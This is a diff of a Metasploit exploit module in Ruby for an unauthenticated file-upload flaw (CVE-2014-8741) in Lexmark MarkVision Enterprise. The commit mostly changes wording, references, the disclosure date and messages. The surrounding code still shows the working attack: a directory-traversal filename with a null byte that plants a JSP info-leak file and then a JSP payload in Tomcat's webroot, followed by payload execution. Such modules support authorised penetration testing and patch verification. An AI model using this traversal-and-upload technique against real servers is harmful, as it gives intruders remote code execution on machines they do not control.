@@ -15,10 +15,9 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload' ,
17
17
'Description' => %q{
18
- This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1. A
19
- directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated attacker
20
- to upload arbitrary files. Since the embedded tomcat application server enables auto deploy
21
- it's possible to upload a WAR file to achieve remote code execution. This module has been
18
+ This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
19
+ A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
20
+ attacker to upload arbitrary files, including arbitrary JSP code. This module has been
22
21
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
23
22
} ,
24
23
'Author' =>
@@ -30,7 +29,8 @@ def initialize(info = {})
30
29
'References' =>
31
30
[
32
31
[ 'CVE' , '2014-8741' ] ,
33
- [ 'ZDI' , '14-410' ]
32
+ [ 'ZDI' , '14-410' ] ,
33
+ [ 'URL' , 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US' ]
34
34
] ,
35
35
'Privileged' => true ,
36
36
'Platform' => 'win' ,
@@ -40,7 +40,7 @@ def initialize(info = {})
40
40
[ 'Lexmark Markvision Enterprise 2.0' , { } ]
41
41
] ,
42
42
'DefaultTarget' => 0 ,
43
- 'DisclosureDate' => 'Jan 17 2012 ' ) )
43
+ 'DisclosureDate' => 'Dec 09 2014 ' ) )
44
44
45
45
register_options (
46
46
[
@@ -70,16 +70,16 @@ def check
70
70
71
71
def exploit
72
72
jsp_leak = jsp_path
73
- jsp_name_leak = "#{ rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) } .jsp"
73
+ jsp_name_leak = "#{ rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) } .jsp"
74
74
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
75
75
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
76
76
traversal_leak = "/..\\ ..\\ ..\\ tomcat\\ webapps\\ ROOT\\ #{ jsp_name_leak } \x00 .pdf"
77
77
78
78
print_status ( "#{ peer } - Uploading info leak JSP #{ jsp_name_leak } ..." )
79
79
if upload_file ( traversal_leak , jsp_leak )
80
- print_good ( "#{ peer } - JSP successfully updated " )
80
+ print_good ( "#{ peer } - JSP successfully uploaded " )
81
81
else
82
- fail_with ( Failure ::Unknown , "#{ peer } - JSP update failed" )
82
+ fail_with ( Failure ::Unknown , "#{ peer } - JSP upload failed" )
83
83
end
84
84
85
85
res = execute ( jsp_name_leak )
@@ -96,12 +96,12 @@ def exploit
96
96
jsp_payload = payload . encoded
97
97
traversal_payload = "/..\\ ..\\ ..\\ tomcat\\ webapps\\ ROOT\\ #{ jsp_payload_name } \x00 .pdf"
98
98
99
- print_status ( "#{ peer } - Uploading JSP payload..." )
99
+ print_status ( "#{ peer } - Uploading JSP payload #{ jsp_payload_name } ..." )
100
100
if upload_file ( traversal_payload , jsp_payload )
101
- print_good ( "#{ peer } - JSP successfully updated " )
102
- register_file_for_cleanup ( ::File . join ( upload_path , 'webapps' , 'ROOT' , jsp_payload_name ) )
101
+ print_good ( "#{ peer } - JSP successfully uploaded " )
102
+ register_file_for_cleanup ( ::File . join ( upload_path , 'webapps' , 'ROOT' , jsp_payload_name ) ) if upload_path
103
103
else
104
- fail_with ( Failure ::Unknown , "#{ peer } - JSP update failed" )
104
+ fail_with ( Failure ::Unknown , "#{ peer } - JSP upload failed" )
105
105
end
106
106
107
107
print_status ( "#{ peer } - Executing payload..." )
@@ -113,9 +113,9 @@ def upload_file(filename, contents)
113
113
bad_signature = rand_text_alpha ( 4 + rand ( 4 ) )
114
114
115
115
post_data = Rex ::MIME ::Message . new
116
- post_data . add_part ( good_signature , nil , nil , " form-data; name=\ " success\" " )
117
- post_data . add_part ( bad_signature , nil , nil , " form-data; name=\ " failure\" " )
118
- post_data . add_part ( contents , " application/octet-stream" , nil , "form-data; name=\" datafile\" ; filename=\" #{ filename } \" " )
116
+ post_data . add_part ( good_signature , nil , nil , ' form-data; name="success"' )
117
+ post_data . add_part ( bad_signature , nil , nil , ' form-data; name="failure"' )
118
+ post_data . add_part ( contents , ' application/octet-stream' , nil , "form-data; name=\" datafile\" ; filename=\" #{ filename } \" " )
119
119
120
120
res = send_request_cgi (
121
121
{
0 commit comments